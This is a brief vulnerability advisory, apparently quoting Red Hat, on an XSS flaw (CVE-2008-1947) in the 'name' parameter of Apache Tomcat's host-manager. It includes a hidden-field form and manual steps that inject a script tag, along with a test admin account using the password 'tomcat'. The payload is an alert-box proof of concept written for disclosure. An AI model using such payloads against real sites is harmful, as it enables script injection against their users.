CVE-2008-1947: XSS

Cross-site scripting (XSS) vulnerability in Apache Tomcat 5.5.9 through 5.5.26 and 6.0.0 through 6.0.16 allows remote attackers to inject arbitrary web script or HTML via the name parameter (aka the hostname attribute) to host-manager/html/add.

— Red Hat

Similarly as "alias" field in bug 247994 tomcat's host manager web interface suffers from javascript exploit in the "name" field:

Assume that after logged in, the victim was lead to the malicious web server with following file installed. <form action="http://localhost:8080/host-manager/html/add" method="get"> <INPUT TYPE="hidden" NAME='name' VALUE="<script>alert()</script>"> <INPUT TYPE="hidden" NAME='aliases' VALUE="somealias"> <input type="submit"> </form>

Steps to reproduce:

install tomcat5 tomcat5-admin-webapps. edit /etc/tomcat5/tomcat-users.xml and add <role rolename="tomcat"/> <user username="tomcat" password="tomcat" roles="tomcat,admin"/> restart tomcat5 Visit http://localhost:8080/host-manager/html/add login with user name tomcat and password tomcat Enter the following: name: <script>alert("name-exploit!")</script> alias: somealias hit add. You should see the javascript alert box popping up.

— Red Hat